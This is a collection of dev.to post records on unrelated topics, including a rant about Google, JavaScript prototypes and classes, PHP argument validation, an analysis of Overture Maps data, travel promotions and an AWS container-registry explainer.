1,881,777 | Does Google owe us money? | I'm going to reuse part of a comment I made in relation to a post by a fellow Dev community which... | 0 | 2024-06-09T04:24:47 | https://dev.to/duendeintemporal/does-google-owe-us-money-3624 | google, browser, adds, development | I'm going to reuse part of a comment I made in relation to a post by a fellow Dev community which alluded to Google's algorithm and how it somewhat arbitrarily decides whether or not a site is relevant to be placed among the search results or is even considered span. It seems to me that it is something more serious than just the impact it may cause to small businesses or personal sites, it is rather about the imposition of a market model on a rather complex habitat such as the web, with the background of knowledge as another market product and "information" subject to a guideline that supports the proposed model and clouds any alternative that arises in the process. The comment goes as follows:
“It's interesting, because I've been wanting to publish a post that narrates something similar for a while. I don't know what´s the case is in other latitudes, but at least here in Venezuela Google has long since ceased to be a reliable source of information. I remember at one time it gave a fairly high number of relevant results to any search, and now it is limited to trying to sell you some portable memory, some new technology or whatever comes to mind, but the truth is that already in the first 10 results comes a load of advertising and normally after one 15 sometimes much less stop being relevant results
It is worrying, because one can feel an interest of the giant in hiding valuable information and thus making knowledge just another market product. Another worrying thing is that in any "smart" telephone comes by default a Google application that not only spies on you, but also if you take on the task of deleting it. You find that one is almost impossible and two your phone just doesn't work properly when you disable it
I think we already have enough borders to manufacture more virtually, it seems to me that we are in time to join forces as thinking beings, to avoid not only a communicational wall, but the privatization of knowledge. Knowledge is universal, transmitting it and acquiring it is the way we have to emancipate ourselves and evolve as thinking beings. I think Google should Indemnification the general population for the way it makes use of advertising and information, skewing much of reality.
Many are unaware that a selfish can mean sending metadata hidden in the file.jpg with your location. It may seem like a trivial or unimportant fact, but when there is a whole marketing network determined to capture you for some of their brand new needs of the day to acquire. And the need for a market and a system of governments call it the Deep State or whatever you want, to maintain world control and a population focused on survival or make money to survive.
It can be a risk to life, be an environmental activist or be in search of social vindications and have an application that sends your location every so often, seconds? It is an interesting topic, because in the same way that Google hides small sites that have no relation to its commercial interests, in some way it contributes to what is consumed by the majority of the masses, which often does not go beyond sex, football, politics and religion... by unknowing other windows that could broaden their perspective and provide new nuances.
I think they owe more respect to us, and some money too…”
Now more calmly and trying to expand the information on some points. One can feel like the character played by Will Smith in Public Enemy.
One of the points that I hinted at in the commentary, but that I did not give myself the task of developing, is the informative bias and the simultaneous manufacture of passing tendencies (which is not something new), but the seriousness of the situation is that at this moment we can say that we are communicated in real time or rather partially communicated (it is worth paraphrasing the author of the book "The Visual Treat" when he talks about monopoly Web Portals, Holdings, Media, Hardware Factories and Patents, etc... and how "they control what is seen and what is not seen") and it is quite relevant to say it, because this is a community of developers very involved in the way the web is built, and even more so how interpersonal relationships converge that are increasingly subject to technology and a virtual environment.
It is important to note that even in this century and for the present day, not everyone has a computer or an internet connection or even regular access to it. Although practically anyone has a smartphone, many limit its use to a chat application or social network and are oblivious to the endless alternatives that arise at the level of applications in various areas, and how to use these as tools to develop and advance in some area.
I think that part of the problem that also affects us as developers, is that in the race to survive and go hand in hand with the reigning technologies, we are overlooking the social commitment and the dimensions that the current society in which we live is taking, which is not limited to a web environment or a circle of acquaintances. Where large transnationals, giants such as Google or passing governments, manage obscene amounts of capital and many people are forced to survive on less than $5 a week.
If we observe that it is precisely this information bias that keeps most of the mass in the dark and also undoubtedly forges future obstacles, such as many black boxes that hide the real functioning of the processes and a population enslaved to a given pattern... We find ourselves in the need to put a stop to these small power groups and initiate joint legal processes that force these transnationals and technological giants to compensate the general population of the planet, not just a small group.
Well, since there is a technology that can centralize a given context and validate a broad consensus of the population to support a legal basis, I think it is time to think together as developers how to respond to historical social problems and not limit ourselves to deploy and app. I insist Google owes us money. And knowledge must be free, freedom is about knowledge.
| duendeintemporal |
1,881,758 | How JavaScript Tries to Imitate Classes and Is There a Better Way? | A deep dive into how JavaScript mimics class-based structures and the underlying mechanics of prototypes. | 0 | 2024-06-09T04:15:28 | https://dev.to/huudyy/how-javascript-tries-to-imitate-classes-and-is-there-a-better-way-24pk | javascript, classes, prototypes, oop | ---
title: How JavaScript Tries to Imitate Classes and Is There a Better Way?
published: true
description: A deep dive into how JavaScript mimics class-based structures and the underlying mechanics of prototypes.
tags: [JavaScript, Classes, Prototypes, OOP]
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ljz6eq7ag4egqmbph8dg.jpg
---
## How JavaScript Tries to Imitate Classes and Is There a Better Way?
JavaScript, undoubtedly, can be a very confusing language, especially for those coming from traditional class-based languages like Java or C#. When JavaScript was first created by Brendan Eich, there was an intention to make it look somewhat like Java. This has led to some interesting design choices, particularly around how JavaScript handles object-oriented programming (OOP).
Today, I would like to take a quick look under the hood and see what is going on with JavaScript's approach to classes and prototypes.
## The Evolution of Classes in JavaScript
Before the introduction of the `class` keyword in ES6 (ECMAScript 2015), JavaScript developers used constructor functions to create objects and simulate class-like behavior. Here’s a simple example:
```javascript
// Constructor function
function Person(name, age) {
this.name = name;
this.age = age;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
};
const john = new Person('John', 30);
john.greet(); // Output: Hello, my name is John and I am 30 years old.
```
In this example, `Person` is a constructor function, and we add methods to its prototype. This allows all instances of `Person` to share the same method, saving memory.
## The Introduction of the `class` Keyword
With ES6, JavaScript introduced the `class` keyword, which provides a cleaner and more familiar syntax for creating objects and handling inheritance. However, under the hood, classes in JavaScript are still based on prototypes.
```javascript
// Class syntax
class Person {
constructor(name, age) {
this.name = name;
this.age = age;
}
greet() {
console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
}
}
const jane = new Person('Jane', 25);
jane.greet(); // Output: Hello, my name is Jane and I am 25 years old.
```
Despite the syntactic sugar, the `class` keyword in JavaScript does not introduce a new object-oriented model. It simply provides a more convenient way to work with prototypes.
## Understanding Prototypes
In JavaScript, every object has a hidden internal property called `[[Prototype]]` that points to another object. This is known as the prototype chain. When you try to access a property on an object, JavaScript will look up the prototype chain until it finds the property or reaches the end of the chain.
```javascript
const animal = {
eats: true
};
const rabbit = {
jumps: true,
__proto__: animal
};
console.log(rabbit.eats); // true
console.log(rabbit.jumps); // true
```
In this example, `rabbit` inherits the `eats` property from `animal` through the prototype chain.
## Classes vs. Prototypes: What’s the Difference?
While classes provide a more structured and organized approach, prototypes offer more flexibility and control. Here’s a comparison:
### Classes
- **Syntax**: Cleaner and more intuitive, especially for developers from class-based languages.
- **Readability**: Easier to read and understand.
- **Inheritance**: Uses the `extends` keyword for inheritance.
### Prototypes
- **Flexibility**: More control over the inheritance chain.
- **Memory Efficiency**: Methods are shared across instances.
- **Compatibility**: Supported in all JavaScript environments, including older ones.
## Real-Life Code Samples
### Using Classes
```javascript
class Animal {
constructor(name) {
this.name = name;
}
speak() {
console.log(`${this.name} makes a noise.`);
}
}
class Dog extends Animal {
speak() {
console.log(`${this.name} barks.`);
}
}
const dog = new Dog('Rex');
dog.speak(); // Output: Rex barks.
```
### Using Prototypes
```javascript
function Animal(name) {
this.name = name;
}
Animal.prototype.speak = function() {
console.log(`${this.name} makes a noise.`);
};
function Dog(name) {
Animal.call(this, name);
}
Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;
Dog.prototype.speak = function() {
console.log(`${this.name} barks.`);
};
const dog = new Dog('Rex');
dog.speak(); // Output: Rex barks.
```
## Conclusion
JavaScript's approach to OOP through prototypes and the `class` keyword provides developers with powerful tools to create and manage objects. While classes offer a more familiar and organized syntax, understanding prototypes is crucial for mastering JavaScript. Both methods have their own advantages, and a good JavaScript developer should be comfortable using both, depending on the requirements of the project.
By understanding the underlying mechanics of prototypes, you can write more efficient and maintainable code, leveraging the full potential of JavaScript's object-oriented capabilities. | huudyy |
1,881,756 | What are The Things To Do Alone in Seattle? | Planning a solo trip can be daunting, but Seattle, the Emerald City, welcomes travelers with open... | 0 | 2024-06-09T04:10:26 | https://dev.to/ealtian/what-are-the-things-to-do-alone-in-seattle-4fek | Planning a solo trip can be daunting, but Seattle, the Emerald City, welcomes travelers with open arms – especially those flying solo. With its vibrant coffee culture, stunning natural beauty, and friendly locals, adn other things to do alone in seattle, Seattle is an ideal destination to explore at your own pace. Whether you crave a day at the Pike Place Market sampling fresh seafood or a quiet afternoon wandering through the Museum of Pop Culture, Seattle has something for every kind of adventurer With Type Writer Tale. So, ditch your worries and pack your bags – Seattle awaits!
https://typewritertale.com/what-are-the-things-to-do-alone-in-seattle/ | ealtian | |
1,881,755 | like to try to make a job board using react, django, mySql..hope to find good people to learn and guide me. tnx | A post by Ian Bacabis | 0 | 2024-06-09T04:05:53 | https://dev.to/freemind212/like-to-try-to-make-a-job-board-using-react-django-mysqlhope-to-find-good-people-to-learn-and-guide-me-tnx-595d | freemind212 | ||
1,881,754 | Top 5 Best Solo Travel Destinations Europe | Imagine yourself strolling down the cobblestone streets of Prague (One of the Best Solo Travel... | 0 | 2024-06-09T04:05:27 | https://dev.to/ealtian/top-5-best-solo-travel-destinations-europe-1mga | Imagine yourself strolling down the cobblestone streets of Prague (One of the Best Solo Travel Destinations Europe), mesmerized by the architectural grandeur of the Charles Bridge. Perhaps you crave the energy of London’s bustling markets, or the serenity of the Greek isles beckons. Europe, a tapestry woven from rich history, breathtaking landscapes, and vibrant cultures, is a dream destination for solo travelers. But with so many incredible options, choosing where to start can be overwhelming. Fear not, intrepid explorer! This curated list unveils the top 5 best solo travel destinations in Europe, taking into account factors like safety, affordability, ease of navigation, and the abundance of solo-friendly activities.
https://typewritertale.com/top-5-best-solo-travel-destinations-europe/ | ealtian | |
1,881,751 | How to validate constructor arguments when using constructor property promotion | I have written a post about the php 8.4 property hooks. Where I didn't understand what it did. And... | 0 | 2024-06-09T04:01:13 | https://dev.to/xwero/how-to-validate-constructor-arguments-when-using-constructor-property-promotion-5dp6 | php | I have written a post about the php 8.4 [property hooks](https://dev.to/xwero/php-property-hook-alternatives-5c4a). Where I didn't understand what it did.
And I added validation code examples that have nothing to do with it. So I did rewrite the post. But I didn't want to lose the valid example code. And that is why this post exists.
## What is the desired result?
We want to create a user by first and last name. The name parts should not be empty because we assume everyone has a first and last name.
## Validation with a class method
```php
class User
{
public function __construct(private string $firstName, private string $lastName) {
$this->validate($firstName, 'firstName');
$this->validate($lastName, 'lastName');
}
public function validate(string $value, $argumentName) {
if (strlen($value) === 0) {
throw new ValueError("$argumentName must be non-empty");
}
}
}
```
This is the method I use when there are one-off validations
## Validation with trait
```php
trait Validation {
private function notEmpty(mixed $value, $argumentName) {
if(is_string($value) && strlen($value) === 0) {
throw new ValueError("$argumentName must be non-empty");
}
}
}
class User
{
use Validation;
public function __construct(private string $firstName, private string $lastName) {
$this->notEmpty($firstName, 'firstName');
$this->notEmpty($lastName, 'lastName');
}
}
```
This is the method that I use to centralize validation methods, because there are patterns that are recurring.
## Validation with attributes
When your code has a lifecycle event in place that can process attributes, or you use a package like [laravel-data](https://spatie.be/docs/laravel-data). This is how the code might look like.
```php
use Spatie\LaravelData\Data;
class User extends Data
{
public function __construct(
#[Min(1)]
private string $firstName,
#[Min(1)]
private string $lastName
) {}
}
```
When I have multiple cases with multiple repeating patterns, then this is the method I use.
| xwero |
1,881,669 | Exploring Overture Map Data | Welcome ! First lets start with overture , if you don't know what is Overture Maps Foundation and... | 0 | 2024-06-09T01:22:55 | https://dev.to/krschap/exploring-overture-map-data-2l49 | overture, openstreetmap, vectortiles | Welcome ! First lets start with overture , if you don't know what is Overture Maps Foundation and what it does I strongly recommend you to go through this website : https://overturemaps.org/ , I tried to build small utilities and hosted them so that readers of this blog also can look into the data and analyze by themselves.
## Release Used
- **Overture release**: 2024-05-16-beta.0
## Objectives
### Primary Objective
- To perform qualitative and quantitative analysis of Overture map data.
### Secondary Objectives
- Visualize the releases on a country level.
- Conduct qualitative analysis to identify additions to existing OSM data and differences across countries.
- Facilitate general users in forming their own opinions based on the available data.
## Approach
1. Build a script to retrieve Overture data as geoparquet with multiple themes (streamlining and automating the process).
2. Convert geoparquet to geojson.
3. Convert flattened geojson to pmtiles.
4. Develop a viewer for comparison and loading.
5. Automate the entire process with a bash script.
6. Compare with population data, existing OSM buildings in the area, and if possible, the number of people per building.
## Considerations
- Duckdb, overturemaps-py, and GDAL were tested for extraction, with overturemaps-py standing out as simple and perfect. The repo was forked, and enhancements were added to the viewer and filters to support any custom key and value.
- Tippecanoe was used to convert geojsonseq to pmtiles.
- A bash script was used to automate the entire process, making it configurable using config.json ([base](https://github.com/kshitijrajsharma/overture-to-tiles/blob/master/scripts/base_theme.json) and [default](https://github.com/kshitijrajsharma/overture-to-tiles/blob/master/scripts/default_theme.json)) for layers, their properties, tile generation settings, combining multiple layers into a single tile, and fetching the right key and value for specific layers.
- The primary statement being validated is: "Overture Maps data will undergo validation checks to detect map errors, breakage, and vandalism to help ensure that map data can be used in production systems."
## Study Areas
- Argentina
- Indonesia & Malaysia Area
- Kenya
- Liberia
- Malawi
- Nepal
- Nigeria
Note: Covering bounding boxes were drawn to somehow match the country boundary in above listed countries ( this is not true for all of them - actual boundary may differ ). Data on those bbox were downloaded, viewed, analyzed, and compared regarding its distribution and how it fits with the existing population.
View Geojson [Here](https://github.com/kshitijrajsharma/overture-data-analysis-report/blob/master/data/study-area.geojson)
## Qualitative Analysis
### Buildings
- Buildings seem to have undergone good conflation.
- Offset and merging of ML datasets have been taken care of.
- Buildings present on satellite images seem to be included in the dataset.
### Roads
- Roads are not cleaned and validated.
- When a release is published, there are no major enhancements, and orphan roads remain in the datasets.
- Tags are not fixed or validated (For eg: In Nepal, most of the roads were classified as unclassified - same as OSM. Some major roads have inconsistency in trunk and primary). It appears that tags validation is still ongoing or something is not being looked into.
### Some Validation Issues
- Pular Pisau, Borneo (Near Malaysia):
- Height feature is present in only some buildings. In countries like Nepal, it is minimal.
- Inconsistent tags in road dataset along with orphan roads as mentioned above
- Meanwhile , POI datasets appear to be detailed and populated in most places, making them easily importable into OSM. You need to be aware of confidence though
## Quick summary
- Overture datasets stand out well for building footprints and POIs, relatively speaking. Transportation, Land, and Land Use seem somewhat similar to OpenStreetMap. (This is before overture released new land cover datasets which I haven't looked into)
- Validation and conflation are poor in layers other than buildings.
- Good offset alignment with roads.
## Quantitative Analysis
### Buildings
| Area | Google Open Buildings | % | Microsoft ML Buildings | % | OpenStreetMap (as per Overture info) | % | Total Overture Buildings | Population Estimate | P.E. (in mil) | People per Building | Approx Current OSM Buildings |
|-----------|-----------------------|------|------------------------|------|-------------------------------------|------|--------------------------|---------------------|----------------|---------------------|------------------------------|
| Argentina | 34,545,592 | 73% | 8,998,855 | 19% | 3,457,499 | 7% | 47,001,946 | 78,765,589 | 78.77 | 1.68 | 3,497,866 |
| Liberia | 1,557,014 | 55% | 144,185 | 5% | 1,148,863 | 40% | 2,850,062 | 10,157,546 | 10.16 | 3.56 | 1,151,027 |
| Indonesia | 4,314,085 | 41% | 2,485,377 | 24% | 3,641,263 | 35% | 10,440,725 | 27,523,228 | 27.52 | 2.64 | 3,651,924 |
| Nepal | 26,280,737 | 68% | 4,396,928 | 11% | 8,078,311 | 21% | 38,755,976 | 129,874,888 | 129.87 | 3.35 | 8,243,272 |
| Malawi | 8,882,648 | 61% | 1,758,044 | 12% | 3,927,989 | 27% | 14,568,681 | 29,256,446 | 29.26 | 2.01 | 3,943,125 |
| Kenya | 20,334,091 | 59% | 3,734,399 | 11% | 10,414,457 | 30% | 34,482,947 | 75,320,339 | 75.32 | 2.18 | 10,557,014 |
| Nigeria | 50,787,453 | 68% | 7,150,013 | 10% | 16,304,722 | 22% | 74,242,188 | 252,698,591 | 252.70 | 3.40 | 17,966,401 |
Overture release: 2024-05-16-beta.0
PS: Population and Current OSM Buildings Estimate is from Kontour API
People per building = Population Estimate on the Area / Total Overture Buildings
Approx current OSM buildings = Fetched from the OSM at current date to validate the overture osm building numbers may not match as overture kept snapshot of osm and by the time of this analysis buildings might increase or decrease in osm, should give rough idea
Analysis was not done on exact country boundary, its bbox taken in the area as provided in the geojson and shared the same geometry using different parameters
### Places distribution based on confidence value
According to overture confidence values in places is about the existence of the place itself, which means if it has 50 % that means there is 50/50 chance that place exists there. I tried to see how much can I trust may be those above 80 % ? or 70 so I tried to figure out how much data is there in this threshold .
| Country | Above 90 % Confidence | 80-90 % | 70-80 % | 50-70 % | Below 50 % |
|----------------------------|-----------------------|----------|---------|----------|------------|
| Argentina | 0.438 | 17.3557 | 1.6333 | 38.1136 | 42.4594 |
| Indonesia & Malaysia Area | 0.1412 | 12.3793 | 0.3198 | 47.8856 | 39.2741 |
| Kenya | 0.2197 | 12.8847 | 1.8883 | 41.023 | 43.9842 |
| Liberia | 0 | 10.0957 | 0.3299 | 58.1326 | 31.4418 |
| Malawi | 0.1422 | 12.9801 | 1.2269 | 51.0135 | 34.6373 |
| Nepal | 0.4004 | 11.0466 | 5.9221 | 33.3404 | 49.2904 |
| Nigeria | 0.1078 | 10.2943 | 1.3312 | 38.5526 | 49.7141 |
| **Average** | **0.2070428571** | **12.43377143** | **1.807357143** | **44.00875714** | **41.54304286** |
P.S. Table is in percentage distribution for example in Argentina out of POI available there only 0.4 percentage of data with more than 90 % confidence
## Conclusion
From the qualitative analysis conducted on different parts of the world, the data is impressive in terms of offset management when different sources are grouped. I am preetty amazed to see the coverage along with conflation and offset accross the different parts of the world. Buildings seem to be well-matched with each other on an obsolete level, and when ground truth checking with Esri imagery, it covers most places. However, when combined with the tabular analysis in most of the places people-per-building ratio are not that realistic yet they are not worst too (seems it doesn't left out and covers most , it might have some extra clutter buildings). For example, in Argentina, it's 1.68 which seems pretty low. It appears that OpenStreetmap buildings are preserved and are as told (given highest priority - if you look into current approx OSM buildings and numbers included in overture they are quite similar). A massive number of AI building footprints are added to the datasets, whereas google buildings are almost more than 50% in all of the area (Except Indonesia). For roads, validation is still poor, especially in areas like Nepal and Indonesia, where many orphan roads exist in the datasets.I expect tags validation and cleaning specially on road which is not case in the areas I looked into , tags such as primary roads , trunk , unclassified roads are inconsistent. The POI datasets seem well-detailed, and there is great potential for them to be added to OSM after validation, as RapID already has this functionality. While doing so you need to be aware that higher confidence data is low as compared to number of datasets available . On average : only 0.2 % are of above 90 % and 12.4 % on 80 - 90 percent confidence values so even though total row numbers are large better to filter them based on higher confidence. 3D height data is not impressive in the developing countries yet I was surprised to see some of them in countries like Nepal. Building footprints seems to be well defined and aligned with transportation layers exploring the potential that it might be quickly checked validated and used in case of pre-disaster response.
This analysis might be incomplete and is my only personal view with quick analysis on the area I looked into. It is suggested to form your own opinion using the developed tools and data shared as shown in the video by the end of this blog.
## Tools and Resources Developed
### Querier
https://queryparquet.streamlit.app/ (Tool might go in sleep mode if there is no usage , Please wake it up if needed)
Source code : https://github.com/kshitijrajsharma/qrp
**Features : **
- Allows you to shoot custom queries on the parquet data , such as stats , how many rows are their which are from microsoft , meta etc
- Default query to get stats based on the source
- Provides a box where you can form your own query if you like
- Integrates OpenStreetMap current buildings and population of the area (based on bbox supplied) so that you can use it in your query for the analysis
- Supports remote parquet url as input and prepopulates the study area that I did
#### Example dirty query to get % distribution for places
### Viewer
I made a quick dirty viewer to do qualitative analysis, The viewer can directly be accessed from Querier or also available here: https://hotosm.github.io/overture-to-tiles/
Viewer supports remote pmtiles and custom styling , Example viewer with default styling : https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fargentina%2Fpmtiles
Source code : https://github.com/kshitijrajsharma/overture-to-tiles/tree/master/docs
**Viewer features : **
- Simultaneously view the place in OpenStreetMap , Overture and ESRI satellite image
- Open all layers in OpenStreetMap Editor : RapID
- Allows user to download geoparquet of source
- Query the attributes and tile bounds
- Custom styling supports for the vector layers like this : https://github.com/kshitijrajsharma/overture-to-tiles/blob/master/docs/styles/default.js
- Supports remote pmtiles using url parameter
- Toggle vector layers and their classes along with OpenStreetMap and ESRI Satellite image
- 3D view with both overture height data and OSM no of floors data
### Quickly View Study Area Datasets
- [Argentina](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fargentina%2Fpmtiles)
- [Indonesia & Malaysia Area](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Findonesia%2Fpmtiles)
- [Kenya](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fkenya%2Fpmtiles)
- [Liberia](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fliberia%2Fpmtiles)
- [Malawi](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fmalawi%2Fpmtiles)
- [Nepal](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fnepal%2Fpmtiles)
- [Nigeria](https://hotosm.github.io/overture-to-tiles/?url=https%3A%2F%2Fstaging-raw-data-api.s3.amazonaws.com%2Fdefault%2Foverture%2F2024-05-16-beta.0%2Fnigeria%2Fpmtiles)
### Extractor
https://github.com/kshitijrajsharma/overture-to-tiles/blob/master/scripts/Readme.md
https://github.com/kshitijrajsharma/overture-to-tiles/
**Extractor features : **
- Automates extraction from overture data using custom theme : https://github.com/kshitijrajsharma/overture-to-tiles/blob/master/scripts/base_theme.json
- Supports children layers to be combined into single pmtiles layer
- s3 upload
### Quick demo how you can visualize and analyze the data
Watch Video :
https://github.com/kshitijrajsharma/overture-data-analysis-report/assets/36752999/31eb9917-3fff-42db-9f5d-d2c53649bb81
### Resources and Credits :
- Pmtiles , Overture-py , Tippecanoe , Overture-docs , RapID
I welcome your thoughts and comments. | krschap |
1,881,743 | Learning Python is easier than ever | I created the Ultimate Python Study Planner: • 50+ curated links • Progress tracking • Topic... | 0 | 2024-06-09T03:20:18 | https://dev.to/eileen_infinity/learning-python-is-easier-than-ever-3i6g | I created the Ultimate Python Study Planner:
• 50+ curated links
• Progress tracking
• Topic analysis
For the next 48 hours only, it's FREE!
https://mooneternal.gumroad.com/l/pythonStudyPlanner | eileen_infinity | |
1,881,737 | lá số tử vi | Tử Vi, hay Tử Vi Đẩu Số, là một bộ môn huyền học được dùng với các công năng chính như: luận đoán về... | 0 | 2024-06-09T03:13:16 | https://dev.to/dongphuchh023/la-so-tu-vi-509f | Tử Vi, hay Tử Vi Đẩu Số, là một bộ môn huyền học được dùng với các công năng chính như: luận đoán về tính cách, hoàn cảnh, dự đoán về các " vận hạn" trong cuộc đời của một người đồng thời nghiên cứu tương tác của một người với các sự kiện, nhân sự.... Chung quy với mục đích chính là để biết vận mệnh con người.
Lấy lá số tử vi để làm gì ?
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Xem thêm tại: https://tuvi.vn/lap-la-so-tu-vi | dongphuchh023 | |
1,881,734 | First | I lost my nick... | 0 | 2024-06-09T03:02:57 | https://dev.to/sidcodeme/first-129n | I lost my nick... | sidcodeme | |
1,881,733 | Sailing Smoothly with AWS Container Registry: Your Gateway to Containerized Applications | Sailing Smoothly with AWS Container Registry: Your Gateway to Containerized... | 0 | 2024-06-09T03:02:53 | https://dev.to/virajlakshitha/sailing-smoothly-with-aws-container-registry-your-gateway-to-containerized-applications-3jfm | 
# Sailing Smoothly with AWS Container Registry: Your Gateway to Containerized Applications
### Introduction
In today's rapidly evolving technological landscape, containerization has emerged as a cornerstone of modern software development and deployment. Containers offer a lightweight and portable solution for packaging applications along with their dependencies, ensuring consistency across different environments. AWS Container Registry (ECR) steps into this space as a fully managed container registry service, empowering developers to store, manage, and deploy Docker container images seamlessly and securely within the AWS ecosystem.
This blog post delves deep into AWS ECR, exploring its features, benefits, and diverse use cases. We'll uncover how ECR integrates with other AWS services to streamline your container workflows and enhance your cloud-native development journey.
### Understanding AWS ECR: More Than Just a Repository
ECR goes beyond basic container image storage, offering a comprehensive suite of features:
* **Fully Managed Service:** Forget the complexities of setting up and managing your own registry infrastructure. ECR handles everything, allowing you to focus on building and deploying applications.
* **Secure and Private:** ECR ensures your container images are stored securely with encrypted repositories. You control access using granular IAM policies, granting permissions to users and AWS services as needed.
* **Image Versioning and Tagging:** ECR simplifies image management with support for versioning and tagging. Easily organize and track different versions of your container images for efficient deployment and rollback strategies.
* **Integration with AWS Ecosystem:** ECR seamlessly integrates with other AWS services like Amazon ECS, Amazon EKS, AWS Lambda, and AWS CodeBuild, creating a unified platform for your containerized workflows.
* **Image Scanning for Vulnerability Detection:** Enhance the security posture of your applications with ECR's built-in image scanning capabilities, identifying potential vulnerabilities within your container images.
### Use Cases: Where ECR Makes a Difference
Let's explore how AWS ECR fuels various real-world use cases:
**1. Microservices Architecture Deployment:**
Microservices architecture breaks down monolithic applications into smaller, independent services. ECR becomes crucial for managing and deploying these individual services as containerized units.
* **Scenario:** Imagine an e-commerce platform with services for product catalog, user authentication, and order processing. Each service can be containerized and stored in ECR.
* **ECR's Role:**
* Developers push updated service containers to ECR.
* CI/CD pipelines pull the latest versions from ECR for deployment to container orchestration platforms like ECS or EKS.
**2. Continuous Integration and Continuous Deployment (CI/CD):**
ECR serves as a central hub within CI/CD pipelines, enabling automated workflows for building, testing, and deploying containerized applications.
* **Scenario:** A development team needs to automate the process of releasing new features and bug fixes.
* **ECR's Role:**
* Code changes trigger a CI/CD pipeline.
* Code is built and packaged into a Docker image, which is then pushed to ECR.
* Automated tests run on the image in ECR.
* Successful tests trigger the deployment of the new image from ECR to the target environment (e.g., ECS, EKS).
**3. Serverless Computing with AWS Lambda:**
ECR extends its benefits to serverless computing with AWS Lambda, allowing you to run containerized applications without managing servers.
* **Scenario:** A real-time image processing application is triggered by user uploads to an S3 bucket.
* **ECR's Role:**
* The image processing logic is packaged as a container image and stored in ECR.
* Lambda is configured to pull and execute the image from ECR when triggered by new objects in the S3 bucket.
**4. Machine Learning Model Deployment:**
Machine learning models often require specific dependencies and configurations. ECR provides a reliable mechanism for packaging and deploying these models.
* **Scenario:** A data science team develops a fraud detection model.
* **ECR's Role:**
* The model, along with its dependencies and runtime environment, is packaged into a Docker image and pushed to ECR.
* The model can then be deployed to an inference endpoint (e.g., using AWS SageMaker) by pulling the image from ECR.
**5. Multi-Region Deployment for Disaster Recovery:**
ECR facilitates disaster recovery strategies by enabling the replication of container images across multiple AWS regions.
* **Scenario:** An application needs high availability and disaster recovery capabilities.
* **ECR's Role:**
* Container images are replicated from the primary ECR repository to a secondary repository in a different AWS region.
* In case of an outage in the primary region, the application can be quickly brought up in the secondary region using the replicated images in ECR.
### Comparing ECR with Other Cloud Container Registries
While ECR shines within the AWS ecosystem, it's essential to acknowledge other container registry options:
| Feature | AWS ECR | Docker Hub | Google Container Registry | Azure Container Registry |
|------------------------|--------------------|-------------|----------------------------|---------------------------|
| Management | Fully Managed | Partially Managed | Fully Managed | Fully Managed |
| Integration | Seamless with AWS | Broad API Support | Strong Google Cloud Integration | Strong Azure Integration |
| Security | IAM-based, Image Scanning | Role-based, Image Scanning | IAM-based, Vulnerability Scanning | RBAC, Image Scanning |
| Pricing | Tiered, Data Transfer Charges | Free & Paid Tiers | Tiered, Data Egress Charges | Tiered, Data Egress Charges |
**Key Considerations:**
* **Existing Cloud Ecosystem:** If you heavily utilize AWS services, ECR offers the tightest integration.
* **Open Source Community:** Docker Hub benefits from a vast open-source community and a massive library of pre-built images.
* **Multi-Cloud Strategies:** For deployments spanning multiple cloud providers, consider registry solutions with broader API support.
### Conclusion
AWS ECR has firmly established itself as an indispensable tool for developers embracing containerization. Its seamless integration within the AWS ecosystem, robust security features, and support for a wide range of use cases make it a compelling choice for organizations at all scales. As containerization continues to shape the future of software development, ECR will undoubtedly remain at the forefront, providing a reliable and scalable platform for your containerized applications.
---
### Advanced Use Case: Building a Secure and Scalable CI/CD Pipeline for a Global Microservices Application
Let's step into the shoes of a Solutions Architect and design a robust CI/CD pipeline for a globally distributed microservices-based application using AWS ECR and other AWS services.
**The Challenge:**
Imagine a fast-growing fintech company with a complex application composed of numerous microservices. They require:
* **Rapid and Reliable Deployments:** Frequent feature releases and bug fixes without compromising application stability.
* **Global Availability and Low Latency:** Serving a worldwide user base with minimal response times.
* **Enhanced Security:** Protecting sensitive financial data throughout the development and deployment lifecycle.
**The Solution:**
We can leverage AWS services to build a secure, scalable, and highly available CI/CD pipeline:
**Architecture:**
1. **Code Changes & Version Control:** Developers push code changes to a version control system like AWS CodeCommit or GitHub.
2. **CI/CD Pipeline Trigger:** AWS CodePipeline orchestrates the entire pipeline, triggering automated builds and deployments upon code commits.
3. **Building and Testing:**
* AWS CodeBuild spins up build environments to compile code, run unit tests, and package each microservice into a Docker image.
* Images are pushed to ECR repositories, tagged with appropriate version numbers.
4. **Security Scanning:** ECR's built-in vulnerability scanning analyzes images for security flaws. Additionally, integrate third-party security tools for deeper analysis.
5. **Global Image Replication:** ECR replicates images to repositories in different AWS regions, ensuring low-latency deployments for global users.
6. **Blue/Green Deployments:**
* Amazon ECS or EKS, orchestrated by AWS CloudFormation or AWS CDK, deploys new microservice versions alongside existing ones.
* Traffic is gradually shifted to the new version (blue) while the old version (green) remains active for rollback capabilities.
7. **Monitoring and Observability:**
* Amazon CloudWatch collects and visualizes metrics from the application and infrastructure.
* AWS X-Ray provides distributed tracing to identify and troubleshoot performance bottlenecks across microservices.
**Benefits:**
* **Increased Development Velocity:** Automated workflows and rapid deployments enable faster release cycles.
* **Enhanced Reliability:** Automated testing, blue/green deployments, and rollback capabilities minimize downtime.
